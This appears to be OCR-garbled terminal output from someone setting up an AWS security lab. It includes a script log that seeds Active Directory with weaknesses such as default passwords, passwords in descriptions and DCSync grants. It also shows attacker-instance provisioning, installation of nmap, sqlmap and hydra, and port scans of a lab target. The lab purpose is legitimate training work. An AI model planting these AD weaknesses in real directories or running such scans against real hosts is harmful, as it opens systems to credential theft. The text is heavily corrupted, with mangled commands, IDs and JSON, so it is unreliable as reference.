[*] DnsAdmins Nested Group : Senior management
[+] DnsAdmins Done
[*] Password in Description : frannie.leupold
[+] Password In Object Description Done
[*] Default Password : laureen.henrieta
[*] Default Password : marcella.shirline
[+] Default Password Done
[*] Same Password (Password Spraying) : lindy.ailyn
[*] Same Password (Password Spraying) : lazarus.anita
[+] Password Spraying Done
[*] Giving DCSync to : link.dacie
[*] Giving DCSync to : eryn.farrand
[+] DCSync Done
[+] SMB Signing Disabled
PS C:\Users\Administrator> Get-ADUser i * | Select-Object Name | Measure-Object
Count : 1e3
Average
Sum
Maximum
Minimum

Property :
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[$ aws ec2 describe-instances ——fllters "Nam

ag:Name,Values=DC-9,Sunsetl" -—query "Reservations[].Instances[].{Name:Tags[?Key:

| DescribeInstances |
e —
| Instanceld | Name | State |
e T —
| i-0718fcdbbbd69f4f9 | DC-9 | running |
| i-0a962c5294793698a | DC-9 | running |
| i-02234d96abce275f8 | Sunsetl | running |
—_—
[$ aws ec2 terminate-instances --instance-ids i-0a962c5294793698a
{
"TerminatingInstances": [
{
"Instanceld": "i-0a962c5294793698a",
"CurrentState": {
32,
shutting—down"
3,
"PreviousState": {
"Code": 16,
“Name" running"
}
}
1
}

[$ aws ec2 associate-address —instance-id i-8718fcdbbbdé9f4f9 —allocation-id eipalloc-03f40090233f84be8
{

"AssociationId": "eipassoc-@d88cc1f65560892a"
}
[$ aws ec2 allocate-address —-domain vpc
{
“AllocationId" eipalloc-0aal438376023f343",
"PublicIpv4Poo! amazon",
"NetworkBorderGroup": "us-east-1",
"Domal vpe!,
"PublicIp": "35.168.188.70"
}

[$ aws ec2 associate-address —instance-id i-@2234d96a5ce275f8 ——allocation-id eipalloc-@aal438376023f343
{
"AssociationId": "eipassoc-@3cc2b549cleffe2f"

[$ aws ec2 describe-instances ——instance-ids i-8a962c5294793698a —query "Reservations[].Instances[].State.Name" ——output text
terminated

$ aws ec2 authorize-security-group-ingress —-group-id sg-@b4e1271f1923041le —-protocol tcp ——port 80 —-cidr 49.37.113.87/32
[aws ec2 authorize-security-group-ingress —group-id sg-@b4e1271f1923041le —protocol tcp —port 22 —cidr 49.37.113.87/32

{

"Return": true,
"SecurityGroupRules
{

[

“SecurityGroupRuleld": "sgr-@0f3dfd29db9863ed",
"GroupId -6b4e12711923041e",
"GroupOwnerId": "@69176179640",

"IsEgress": false,

"IpProtocol": "tcp",

"FromPort": 80,

'Name']|[@].vValue, Instanceld:Instanceld,State:State.Name}"





image39.png
terminated

$ aws ec2 authorize-security-group-ingress —group-id sg-8b4e1271f1923041e —protocol tcp —port 89 ——cidr 49.37.113.87/32

laws ec2 authorize-security-group-ingress —group-id sg-8b4e1271f1923041e —protocol tep —port 22 —cidr 49.37.113.87/32 ]
{

"Return”: true,
“"SecurityGroupRules": [
{
"SecurityGroupRuleld: gr-00f3dfd29db9863ed" ,
"GroupId": "sg-@b4e1271f1923041e",
"GroupOwnerId": "@69176179640",
"IsEgress": false,
"IpProtocol": "tcp",
"FromPort": 80,
"ToPort": 80,
"CidrIpv4": "49.37.113.87/32",
"SecurityGroupRuleArn": "arn:aws:ec2:us-east-1:069176179640:security-group-rule/sqr-ef3dfd29db98s3ed"
}
1
+
{
"Return”: true,
"SecurityGroupRules": [
{
"SecurityGroupRuleId": "sgr-0245c68f5ce8bichs",
"GroupId": "sg-@b4e1271f1923041e",
"GroupOwnerId": "@6917617964
"IsEgress": false,
“IpProtocol": "tcp",
"FromPort": 22,
ToPort": 22,
"CidrIpv4": "49.37.113.87/32",
"SecurityGroupRuleATn": "arn:aws:ec2:us-east-1:069176179640: security-group-rule/sgr-8245c68f5c08blchs"
}
1
}

1$ aws ec2 run-instances —image-id resolve:ssm:/aws/service/canonical/ubuntu/server/22.04/stable/current/amdé4/hvm/ebs-gp2/ami~id —instance-type t3.micro —key-name pww-key-pair —subnet-id subnet-@e1d345849804fdf6 —security-groul
p-ids sg-@b4e1271f1923041e —tag-specifications 'ResourceType=instance, Tags=[{Key=Name,Value=Attacker}]'

{
"ReservationId": "r-06d8c26cl4lcc78ed",
"OwnerI 069176179640" ,
"Groups": [1,
"Instances": [

{
"Architecture": "x86_64",
"BlockDeviceMappings": [],
"ClientToken! 2f29c5¢-97fb-41bc-bF39-934cafdebect”,
"EbsOptimized": false,
“EnaSupport": true,
"Hypervisor": "xen",
"NetworkInterfaces": [

{

"Attachment": {
"AttachTime": "2026-08-09721:13:30+00:00",
"AttachmentId": attach-0a76ca7e23f5c63c2",
"DeleteOnTermination": true,
"DeviceIndex": @,
"Status": "attaching",
"NetworkCardIndex": @

},
"Description": "*,
"Groups": [
{
"GroupId": "sg-Ob4e1271f1923041e",
"GroupName": "ABCD-Lab-SG"
}
1.

"IpvéAddresses": [1,
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"AttachmentId": "eni-attach-@a7éca7e23f5c63c2",
"DeleteOnTermination": true,

"DeviceIndex": @,

"Status": "attaching",

"NetworkCardIndex": @

},
"Description": "",
"Groups": [
{
"GroupId": @b4te12711923041e",
"GroupName": "ABCD-Lab-SG"
}
1

'
"IpvéAddresses": [1,
"MacAddress": "16:ff:dc:dc:cc:93",
"NetworkInterfaceId": "eni-@a8725614e449544d",
"OwnerId": "@69176179640",
"PrivateIpAddress": "10.10.1.111",
"PrivateIpAddresses": [
{
"Primary": true,
"PrivateIpAddress": "10.10.1.111"
}
1
"SourceDestCheck": true,
"Status": "in-use",
"SubnetId": "subnet-@eld345849804fdf6",
"VpcId": "vpc-084b862f4c6ab0f26",
"InterfaceType": "interface",
"Operator": {
"Managed": false
}
}
1,
"RootDeviceName": "/dev/sdal"
"RootDeviceType": "ebs",

"SecurityGroups": [
{
"GroupId": "sg-@b4el271f1923041e",
"GroupName": "ABCD-Lab-SG"
}

1,
"SourceDestCheck": true,
"StateReason": {

"Key": "Name",

[$ aws ec2 allocate-address ——domain vpc

{

}

"AllocationId": "eipalloc-016376df9820db072",
"PublicIpv4Pool": "amazon",
"NetworkBorderGroup": "us-east-1",

"Domain": "vpc",

"PublicIp"

"52.86.125.94"

[$ aws ec2 describe-instances ——filters "Name=tag:Name,Values=Attacker" --query
i-08faf9a19fa9e8303

"Reservations[].Instances[].InstanceId" —output text
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[$ aws ec2 associate-address ——instance-1d 1-08faf9al9fa9e8303 ——allocation-id eipalloc-016376df9820db072
{
"AssociationId": "eipassoc-0432cc0989435b619"
}
|
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[$ ssh —i ~/pww-key—pair.pem ubuntu@52.86.125.94

The authenticity of host '52.86.125.94 (52.86.125.94)' can't be established.
ED25519 key fingerprint is: SHA256:v4snKxFAaD18H6kH8ZF1YbeYqzXIRI4KuZasrEcWz]I
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '52.86.125.94' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1061-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sun Aug 9 21:19:13 UTC 2026

System load: 0.0 Processes: 107
Usage of /: 23.0% of 7.57GB Users logged in: (2]
Memory usage: 25% IPv4 address for ens5: 10.10.1.111

Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
@ updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.

See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for'ails.

ubuntu@ip-16-16-1-111:~$ ||
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[ubuntu@ip-16-16-1-111:~$ sudo apt update &% sudo apt install -y nmap gobuster sqlmap hydra netcat-openbsd curl
//us—east-1.ec2.archive.ubuntu.com/ubuntu jammy InRelease

Hit:1 http:

Get:2 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates InRelease [128 kB]

Get:3 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports InRelease [127 kB]

Get:4 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 Packages [14.1 MB]
Get:5 http://security.ubuntu.com/ubuntu jammy-security InRelease [129 kB]

Get:6 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe Translation-en [5652 kB]
Get:7 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 c-n—f Metadata [286 kB]
Get:8 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/multiverse amdé4 Packages [217 kB]

Get:9 http:

Get:10 http:
Get:11 http:
Get:12 http:
Get:13 http:
Get:14 http:
Get:15 http:

Get:16 http

Get:17 http:
Get:18 http:
Get:19 http:
Get:20 http:
Get:21 http:
Get:22 http:
Get:23 http:
Get:24 http:
Get:25 http:
Get:26 http:
Get:27 http:
Get:28 http:
Get:29 http:
Get:30 http:
Get:31 http:
Get:32 http:
Get:33 http:
Get:34 http:
Get:35 http:
Get:36 http:
Get:37 http:

Get:38 http

Reading pac

//us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/multiverse Translation-en [112 kB]

//us—east-1
//us—east-1
//us—east-1
//us—east-1
//us—east-1
//us—east-1

.ec2
.ec2
.ec2
.ec2
.ec2
.ec2

.archive.ubuntu.com/ubuntu jammy/multiverse amdé4 c—n-f Metadata [8372 B]
.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 Packages [3714 kB]
.archive.ubuntu.com/ubuntu jammy-updates/main Translation-en [554 kB]
.archive.ubuntu.com/ubuntu jammy-updates/restricted amdé4 Packages [6403 kB]
.archive.ubuntu.com/ubuntu jammy-updates/restricted Translation-en [1226 kB]
.archive.ubuntu.com/ubuntu jammy-updates/universe amdé4 Packages [1279 kB]

://security.ubuntu.com/ubuntu jammy-security/main amdé4 Packages [3445 kB]

//security.
//security.
//security.
//security.
//security.
//security.
//security.
//security.
://security.

kage lists...

//us—east-1.
//us—east-1.
//us—east-1.
//us—east-1.
//us—east-1.
//us—east-1.
//us—east-1.
//us—east-1.
//us—east-1.
//us—east-1.
//us—east-1.
//us—east-1.
//us—east-1.

ec2
ec2
ec2
ec2
ec2
ec2
ec2
ec2
ec2
ec2
ec2
ec2
ec2

ubuntu.com/ubuntu
ubuntu.com/ubuntu
ubuntu.com/ubuntu
ubuntu.com/ubuntu
ubuntu.com/ubuntu
ubuntu.com/ubuntu
ubuntu.com/ubuntu
ubuntu.com/ubuntu
ubuntu.com/ubuntu
Fetched 47.2 MB in 7s (6714 kB/s)

Building dependency tree...

Reading state information...

Done

Done
Done

1 package can be upgraded. Run 'apt list

Reading pac

kage lists...

Building dependency tree...

Reading state information...

Done

Done
Done

.archive.ubuntu.com/ubuntu jammy-updates/universe Translation-en [322 kB]
.archive.ubuntu.com/ubuntu jammy-updates/universe amdé4 c-n-f Metadata [30.8 kB]
.archive.ubuntu.com/ubuntu jammy-updates/multiverse amdé4 Packages [76.5 kB]
.archive.ubuntu.com/ubuntu jammy-updates/multiverse Translation-en [15.9 kB]
.archive.ubuntu.com/ubuntu jammy-updates/multiverse amdé4 c-n—f Metadata [756 Bl
.archive.ubuntu.com/ubuntu jammy-backports/main amdé4 Packages [70.2 kB]
.archive.ubuntu.com/ubuntu jammy-backports/main Translation-en [11.4 kB]
.archive.ubuntu.com/ubuntu jammy-backports/main amdé4 c-n-f Metadata [412 B]
.archive.ubuntu.com/ubuntu jammy-backports/restricted amdé4 c-n—f Metadata [116 B]
.archive.ubuntu.com/ubuntu jammy-backports/universe amdé4 Packages [30.8 kB]
.archive.ubuntu.com/ubuntu jammy-backports/universe Translation-en [16.9 kB]
.archive.ubuntu.com/ubuntu jammy-backports/universe amdé4 c-n—f Metadata [676 Bl
.archive.ubuntu.com/ubuntu jammy-backports/multiverse amdé4 c-n—f Metadata [116 B]

jammy—-security/main Translation-en [485 kB]
jammy—-security/restricted amdé4 Packages [6165 kB]
jammy-security/restricted Translation-en [1182 kB]
jammy—-security/universe amdé4 Packages [1046 kB]
jammy—-security/universe Translation-en [234 kB]
jammy-security/universe amdé4 c-n-f Metadata [23.2 kB]
jammy—security/multiverse amdé4 Packages [69.1 kB]
jammy-security/multiverse Translation-en [12.9 kB]
jammy-security/multiverse amdé4 c—n-f Metadata [544 B]

——upgradable' to see it.

netcat—openbsd is already the newest version (1.218-4ubuntul).
netcat—openbsd set to manually installed.

curl is already the newest version (7.81.0-lubuntul.25).

curl set to manually installed.

The following additional packages will be installed:
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No VM guests are running outdated hypervisor (qemu) binaries on this host.
[ubuntuip-16-10-1-111:~$ nmap -sV -p 21,22,25,80,110,139,143, 443, 445,3306 160.52.71.84
Starting Nmap 7.86 ( https://nmap.org ) at 2026-88-89 21:21 UTC

Note: Host seems down. If it is really up, but blocking our ping probes, try —Pn

Nmap done: 1 IP address (@ hosts up) scanned in 3.23 seconds

[ubuntuip-16-16-1-111:~$ nmap -sV —Pn -p 21,22,25,80,110,139,143, 443, 445,3306 100.52.71.84
Starting Nmap 7.88 ( https://nmap.org ) at 2026-88-89 21:22 UTC

Nmap scan report for ec2-100-52-71-84.compute-1.amazonaws.com (100.52.71.84)

Host is up.

PORT STATE  SERVICE VERSTON
21/tcp  filtered ftp

22/tcp  filtered ssh

25/tcp  filtered smtp

80/tcp  filtered http
110/tcp filtered pop3
139/tcp filtered netbios-ssn
143/tcp filtered imap
443/tcp  filtered https
445/tcp  filtered microsoft-ds
3306/tcp filtered mysql

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 3.33 seconds

[ubuntu@ip-10-10-1-111:~$ exit

Logout

Connection to 52.86.125.94 closed.

[$ aws ec2 authorize-security-group-ingress —group-id sg-@b4e1271192304le —protocol -1 —port -1 —-cidr 10.10.0.0/16

aws: [ERROR]: An error occurred (InvalidPermission.Duplicate) when calling the AuthorizeSecurityGroupIngress operation: the specified rule "peer: 10.10.0.8/16, ALL, ALLOW' already exists
[$ aws ec2 get-console-output —-instance-id i-8718fcdbbbd69f4f9 —output text | tail -50
1-0718fcdbbbd69T4T9 [ 1.299168] ena 6000:00:05.0: LLQ is not supported Fallback to host mode policy.
/dev/nvmednipl: clean, 44595/458752 files, 496003/1834752 blocks
2026/68/09 20:53:08Z: SSM Agent unable to acquire credentials: <error>no valid credentials could be retrieved for ec2 identity. Default Host Management Err: error calling RequestManagedInstanceRoleToken: AccessDeniedException: Syst
ems Manager's instance management role is not configured for account: 069176179640
status code: 408, request id: bef8a3db-8ec2-4b@6-b8bd-8d9287626f e</error>

Debian GNU/Linux 1@ dc-9 ttySe

2026-68-09T20:58:59+0
($ aws ec2 get-console-output

)
nstance-id i-8718fcdbbbd69f4f9 —output text |

inet\ |dhcp"
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[$ aws ec2 describe-security-groups —-group-ids sg-@b4el271f192304le --query

[

1

[

1

"IpProtocol": "tcp",
"FromPort": 89,
"ToPort": 80,
"UserIdGroupPairs": [1,
"IpRanges": [
{
"CidrIp": "49.37.113.87/32"
}
1,
"IpvéRanges": [],
"PrefixListIds": []

"IpProtocol": "-1",
"UserIdGroupPairs": [1,
"IpRanges": [

{

"CidrIp": "10.10.0.0/16"

}
1,
"Ipvé6Ranges": [],
"PrefixListIds": []

"IpProtocol": "tcp",
"FromPort": 22,
"ToPort": 22,
"UserIdGroupPairs": [1,
"IpRanges": [

{

"CidrIp": "49.37.113.87/32"

}
1,
"IpvéRanges": [1,
"PrefixListIds": []

"IpProtocol": "tcp",
"FromPort": 3389,
"ToPort": 3389,
"UserIdGroupPairs": [1,
"IpRanges": [

{

"CidrIp": "49.37.113.87/32"

}
1,
"IpvéRanges": [1,
"PrefixListIds": []

"SecurityGroups[].IpPermissions" ——output json

[$ aws ec2 authorize-security-group-ingress ——group-id sg-@b4el1271f1923041e ——protocol -1 ——port -1 —-cidr 49.37.113.87/32

{

"Return": true,
"SecurityGroupRules": [

{

"SecurityGroupRuleId": "sgr-0ad4388571750b2a4",
"GroupId": "sg-@b4el271f192304le",
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4
[$ aws ec2 authorize-security-group-ingress —-group-id sg-@b4el271f192304le ——protocol -1 ——port -1 --cidr 49.37.113.87/32
{

"Return": true,

"SecurityGroupRules": [

{
"SecurityGroupRuleId": "sgr-@ad4388571750b2as4",
"GroupId": "sg-@b4el271f1923041e",
"GroupOwnerId": "@69176179640",
"IsEgress": false,
"IpProtocol": "-1",
"FromPort": -1,
"ToPort": -1,
"CidrIpv4": "49.37.113.87/32",
"SecurityGroupRuleArn": "arn:aws:ec2:us-east-1:069176179640:security—group-rule/sgr—-0ad4388571750b2as4"
}

1
}
[$ nmap —sV -Pn —p- 100.52.71.84
zsh: command not found: nmap
[$ ssh —i ~/pww-key—pair.pem ubuntu@52.86.125.94
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1061-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sun Aug 9 21:28:35 UTC 2026

System load: 0.0 Processes: 104
Usage of /: 27.2% of 7.576B  Users logged in: (2]
Memory usage: 25% IPv4 address for ens5: 10.10.1.111

Swap usage: 0%

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list ——upgradable

3 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

New release '24.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Aug 9 21:19:14 2026 from 49.37.113.87
[ubuntu@ip-16-16-1-111:~$ nmap —-sV -Pn —p— 100.52.71.84
Starting Nmap 7.80 ( https://nmap.org ) at 2026—08-09 21:28 UTC
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[ubuntu@ip-16-16-1-111:~$ nmap -sV —Pn -p- 100.52.71.84
Starting Nmap 7.80 ( https://nmap.org ) at 2026-08-09 21:28 UTC

[ubuntu@ip-10-10-1-111:~$ nmap -sV -Pn -T4 -p 21,22,80,111,139,445 100.52.71.84
Starting Nmap 7.80 ( https://nmap.org ) at 2026-@8-@9 21:33 UTC

Nmap scan report for ec2-100-52-71-84.compute-1.amazonaws.com (100.52.71.84)
Host is up.

PORT STATE SERVICE VERSION
21/tcp filtered ftp

22/tcp filtered ssh

80/tcp filtered http

111/tcp filtered rpcbind

139/tcp filtered netbios-ssn

445/tcp filtered microsoft-ds

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 2.32 seconds

[ubuntu@ip-16-10-1-111:~$ ssh —-i ~/pww-key-pair.pem i-0718fcdbbbd69f4f9.port@@serial-console.ec2-instance-connect.us-east-1.aws
Warning: Identity file /home/ubuntu/pww-key—pair.pem not accessible: No such file or directory.

The authenticity of host 'serial-console.ec2-instance-connect.us-east-1.aws (3.83.168.212)' can't be established.

RSA key fingerprint is SHA256:dXwn5ma/xadVMeBZGEru512gx+yI5LDiJalUcz@FMmw.

This key is not known by any other names

[Are you sure you want to continue connecting (yes/no/[fingerprintl)? yes

Warning: Permanently added 'serial-console.ec2-instance-connect.us—east-1.aws' (RSA) to the list of known hosts.
1-0718fcdbbbd69f4f9.port@@serial-console.ec2-instance—-connect.us—east-1.aws: Permission denied (publickey).
[ubuntu@ip-10-10-1-111:~$ ssh —-i ~/pww-key-pair.pem i-0718fcdbbbd69f4f9.port@@serial-console.ec2-instance-connect.us-east-1.aws
Warning: Identity file /home/ubuntu/pww-key-pair.pem not accessible: No such file or directory.

1-0718fcdbbbd69f4f9. port@@serial-console.ec2-instance—-connect.us—east-1.aws: Permission denied (publickey).
[ubuntu@ip-10-10-1-111:~$ exit

logout

Connection to 52.86.125.94 closed.

$ aws ec2-instance-connect send-serial-console-ssh-public-key ——instance-id i-0718fcdbbbd69f4f9 —-serial-port @ ——ssh-public-key file://~/pww-key—pair.pub
[ssh —i ~/pww-key-pair.pem i-0718fcdbbbd69f4f9.porte@serial-console.ec2-instance-connect.us-east-1.aws

aws: [ERROR]: An error occurred (SerialConsoleSessionLimitExceededException) when calling the SendSerialConsoleSSHPublicKey operation: Too many active serial console sessions.
1-0718fcdbbbd69f4f9. port@@serial-console.ec2-instance—-connect.us—east-1.aws: Permission denied (publickey).
$ aws: [ERROR]: An error occurred (SerialConsoleSessionLimitExceededException) when calling the SendSerialConsoleSSHPublicKey operation: Too many active serial console sessions.
[i-0718fcdbbbd69f4f9.port@@serial-console.ec2-instance-connect.us-east-1.aws: Permission denied (publickey).
zsh: no matches found: [ERROR]:
zsh: no matches found: (publickey).
$ aws ec2-instance-connect send-serial-console-ssh-public-key ——instance-id i-0718fcdbbbd69f4f9 —-serial-port @ —ssh-public-key file://~/pww-key-pair.pub
[ssh —i ~/pww-key-pair.pem i-0718fcdbbbd69f4f9.port@@serial-console.ec2-instance-connect.us-east-1.aws
{
"RequestId": "aa@2aeed-6bde-4c92-a73d-938b2b55cb23",
"Success": true
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[ubuntu@ip-16-10-1-111:~$ 1sblk

NAME MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop@ 78 © 28.4M 1 loop /snap/amazon-ssm-agent/13349
loopl 7:1 ] 74M 1 loop /snap/core22/2411
loop2 172 0@ 115.1M 1 loop /snap/1xd/40115
loop3 7:3 @ 50.1M 1 loop /snap/snapd/27591
nvme@nl 259:0 0 86 0 disk
vme@Onlpl 259:1 @ 7.96 0 part /
vme@nlpls 259:2 ] 4M 9 part
vmednlpl5 259:3 © 106M @ part /boot/efi

[ubuntu@ip-10-10-1-111:~$ exit

logout

Connection to 52.86.125.94 closed.

[$ aws ec2 stop-instances ——instance-ids i-0718fcdbbbd69f4f9

{
"StoppingInstances": [
{
"InstanceId": "i-0718fcdbbbd69f4f9",
"CurrentState": {
"Code": 64,
"Name": "stopping"
}
"PreviousState": {
"Code": 16,
"Name": "running"
}
}
]
}
[$ aws ec2 describe-instances —-instance-ids i-8718fcdbbbdé9f4f9 ——query "Reservations[].Instances[].State.Name" ——output text
stopping
[$ aws ec2 describe-instances —-instance-ids i-0718fcdbbbdé9f4f9 ——query "Reservations[].Instances[].State.Name" ——output text
stopping
[$ aws ec2 describe-instances --instance-ids i-8718fcdbbbdé9f4f9 ——query "Reservations[].Instances[].State.Name" —-output text
stopped

[$ aws ec2 describe-volumes —-filters "Name=attachment.instance-id,Values=i-8718fcdbbbdé9f4f9" ——query "Volumes[].VolumeId" ——output text
vol-@dca4esafc559c04b
[$ aws ec2 detach-volume —-volume-id vol-@dca4e4afc559c04b

{
"VolumeId": "vol-@dca4e4afc559c@4b",
"Instanceld": "i-0718fcdbbbd69f4fo",
"Device": "/dev/sdal",
"State": "detaching",
"AttachTime": "2026-08-09720:52:40+00:00"
}

[$ aws ec2 attach-volume ——volume-id <VOLUME_ID> —-instance-id i-@8faf9al9fa9e8303 —-device /dev/sdf
zsh: no such file or directory: VOLUME_ID
[$ aws ec2 attach-volume ——volume-id vol-@dca4e4afc559c@4b ——instance-id i-08faf9al9fa9e8303 ——device /dev/sdf
{
"VolumeId": "vol-@dca4e4afc559c@4b",
"Instanceld": "i-@8faf9al9fa9e8303",
"Device": "/dev/sdf",
"State": "attaching",
"AttachTime": "2026-08-09T721:55:22.354000+00:00"

}
[$ 1sblk
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[$ aws ec2 describe-volumes —volume-ids vol-@dca4e4afc559c@4b —query "Volumes[].State" ——output text

available
[$ aws ec2 attach-volume --volume-id vol-@dca4e4afc559c@4b ——instance-id i-8718fcdbbbd69f4f9 ——device /dev/sdal
{
"VolumeId": "vol-@dca4esafc559c@s4b",
"Instanceld": "i-0718fcdbbbd69f4fo",
"Device": "/dev/sdal",
"State": "attaching",
"AttachTime": "2026-08-09721:59:28.103000+00:00"
}
[$ aws ec2 start-instances --instance-ids i-8718fcdbbbd69f4f9
{
"StartingInstances": [
{
"Instanceld": "i-0718fcdbbbd69f4f9",
"CurrentState": {
"Code": @,
“"Name": "pending"
},
"PreviousState": {
}
}
1
}
[$ aws ec2 describe-instances ——instance-ids i-8718fcdbbbd69f4f9 ——query "Reservations[].Instances[].{State:State.Name,PublicIP:PublicIpAddress}" —output table
| DescribeInstances |
e}
| PublicIP | State |
A e ——+

| 100.52.71.84 | running |

———t
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[$ aws ec2 describe-network-acls —-filters "Name=vpc-id,Values=vpc-084b862f4c6ab0f26" ——output table

+: +: +: +:

| | | |

+: +: +: +:
| ©.0.0.0/0 | True | -1 | allow | 100 |
| ©.0.0.0/0 | True | -1 | deny | 32767 |
| ©.0.0.0/0 | False | -1 | allow | 100 |
| ©.0.0.0/0 | False | -1 | deny | 32767 |
+ +





